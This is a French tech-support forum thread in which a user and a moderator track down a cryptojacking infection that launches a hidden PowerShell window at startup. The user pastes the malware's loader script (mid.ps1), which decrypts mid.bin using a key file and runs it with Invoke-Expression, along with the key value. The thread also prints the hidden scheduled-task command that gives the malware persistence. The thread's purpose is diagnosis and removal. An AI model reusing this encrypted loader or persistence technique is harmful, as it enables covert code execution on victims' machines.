Fenetre power shell

gilcc29 -  

Bonjour,

j'ai une fenêtre power shell qui s'ouvre au démarrage , je crains que ce soit un virus ?

29 réponses

Résumé de la discussion

Le problème central est une fenêtre PowerShell qui s'ouvre au démarrage, laissant penser à une infection ou à une activité suspecte liée à des fichiers tels que mid.ps1 et mid.bin. Des éléments évoqués incluent le lancement silencieux via powershell.EXE avec ExecutionPolicy ByPass et des emplacements système comme C:\WINDOWS, ainsi que des fichiers cachés et des processus démarrant à intervalles rapides. Plusieurs solutions proposées consistent à vérifier les autoruns et les sections Logon et Scheduled Tasks, supprimer les éléments non Microsoft, puis analyser les rapports avec Reanimator et inspecter les fichiers C:\WINDOWS. D'autres interventions consistent à désactiver l'exécution de scripts inconnus et à redémarrer en mode sans échec pour vérifier l'intégrité des composants Windows et confirmer la suppression des processus récurrents.

Bobot (l’IA à votre service)
  1. Itharius

    Bonjour, je viens de voir une video sur tik tok qui parle de cryptojacking. les fichiers sont dans C:/Windows: mid.bin, key, mid.ps1 et Dlhost.exe Le virus s'installe suite à une conversion mp3 en ligne.

    1.  fabul Modérateur

      Salut,

      On peut espérer les détecter, les fichiers changent souvent de nom et d'emplacement.

      Le log a été effacé de Cjoint, puis on sait pas pourquoi on a pas trouvé ce fichier.

      En principe on aurait du le voir indiqué par Reanimator comme suspect,
      (À moins de l'avoir marqué comme faux positif)

      Dommage que ça n'aie pas aidé cette fois ci.

      J'aurais peut être du demander un log "avec redémarrage", qui détecte jusqu'aux rootkits en principe.

  6.  fabul Modérateur

    Puis après une recherche désactives ce qui ressemble à Task: {AB05B368-13F7-468A-9B30-E553C06B5449} - System32\Tasks\Microsoft\Windows\Bluetooth\UninstallDeviceTask => C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe [492032 2023-05-11] (Microsoft Windows -> Microsoft Corporation) -> -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\WINDOWS\mid.ps1 C:\WINDOWS\mid.ps1

    avec Autoruns dans Scheduled Tasks

    Parce que j'ai vu un cas similaire tout récent ici:

    https://forum.malekal.com/viewtopic.php?t=72915

    1.  fabul Modérateur

      Par Rechercher ouvres %AppData% (Roaming)

      Et regardes si il y a un .exe qui traine

      1.  fabul Modérateur

        C'est un peu chinois pour moi aussi.

        Si tu fais Exécuter : WINVER

        Ça t'affiche quelle version de Windows ? 22H2 ?

        Serait-tu prêt à réinstaller Windows ?

        Si il n'est pas à jour ça serait l'occasion d'installer la dernière version.

        Je vais re rediriger ton sujet dans la section Windows, parce que c'est probablement pas une question de virus.

        2. gilcc29

          HKCU\Software\Classes\CLSID\{56AD4C5D-B908-4F85-8FF1-7940C29B3BCF}\Instance HKCR\CLSID\{56AD4C5D-B908-4F85-8FF1-7940C29B3BCF}\Instance

          1. fabul Modérateur

            Avec Process Explorer, si tu fermes des processus (Pas Microsoft) avec Kill Process Tree

            Il y en a un qui fait que ça arrête ?

            Dans Process Monitor, tu vois un processus qui crée une instance toutes les 10 secondes à part PowerShell ?

            Tu peux dans Filter mettre > Result > Is Not > SUCCESS pour commencer

            (Quand il n'y a pas le fichier script .ps1)

            1. gilcc29

              si je remets mid.ps1 sans key il se relance sans arrêt et ne reste pas actif si je mets key il se lance et reste actif en tache de fond key contient : q9ETwHj1uV9UEnKxtPRy ??

              1. gilcc29

                voila ce que contient mid : function Decrypt-Script($encryptedScriptPath, $keyFileName) { if (-not (Test-Path $encryptedScriptPath)) { Throw "" } $keyFilePath = Join-Path -Path $env:windir -ChildPath ($keyFileName) if (-not (Test-Path $keyFilePath)) { Throw "" } $encryptedContent = Get-Content $encryptedScriptPath -Raw $key = Get-Content $keyFilePath -Raw $secure = $encryptedContent | ConvertTo-SecureString -Key (([int[]][char[]]$key)[0..15]) $script = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($secure)) return $script } $encryptedScriptPath = Join-Path -Path $env:windir -ChildPath "mid.bin" $keyFileName = "key" $decryptedScript = Decrypt-Script $encryptedScriptPath $keyFileName Invoke-Expression $decryptedScript J'ai tout remis et powershell se lance et reste actif donc revenu au point de départ... il y a quelque chose qui fait appel à Mid.ps1 sans arrêt

                2. fabul Modérateur

                  Process Explorer ou Process Monitor t'ont-il aidé ?

                  J'espère, sinon je ne sais plus quoi:

                  Ça part ça, tu peux supprimer CCleaner partout dans Autoruns

                  En utilisant la case Filter

                  2.  fabul Modérateur

                    mib.bin est un fichier légitime Je n'ai pas mid.bin par contre.

                    Tu peux l'analyser sur VirusTotal https://www.virustotal.com/gui/home/upload

                    Regardes avec Process Explorer ou encore mieux avec Process Monitor Trouvables ici

                    https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer

                    https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

                    Tu peux ajouter un filtre dans Process Monitor

                    1. gilcc29

                      je l'ai trouvé et supprimé ca se lance toujours mais c'est sans doute fermé aussitot car je le vois plus dans la liste des taches en cours dans gestionnaire des taches et plus rien dans reanimator rien à voir dans fenetre power shell : https://www.cjoint.com/c/MHjvonpbzcD un peu pertubant parce que j'apercois la fenetre powershell qui n'arrete pas de se lancer à vitesse grand v toutes les 10 secondes (à peine visible) il y a aussi des fichiers mid.bin que je n'ai pas touché

                      1. fabul Modérateur

                        Dans Reanimator, dans Read Report (L'équivalent de Anti Spyware Full Check) je vois:

                        C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE" -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\WINDOWS\mid.ps1

                        Tu peux trouver ce fichier caché ? C:\WINDOWS\mid.ps1

                        En affichant tes fichiers cachés + tes fichiers protégés dans l'explorateur ?

                        Dans Affichage > Options > Affichage

                        1.  fabul Modérateur

                          C'est le processus du fichier légitime dans la section processus. C'est ce qui le démarre qu'il faudrait trouver. Pourrais tu photographier ton écran au démarrage qu'on voie si il y a de quoi écrit dans la fenêtre de PowerShell ?

                          1. gilcc29

                            Hello tout cela fait mais ca revient toujours... du coup j'ai recoché les entrées sur autoruns voila ce que me met reanimator https://www.cjoint.com/c/MHjuUumt6fD

                            • 1
                            • 2

                            Discussions similaires

                            Écran noir et problème « Power saving mode »
                            juantgo

                            39 réponses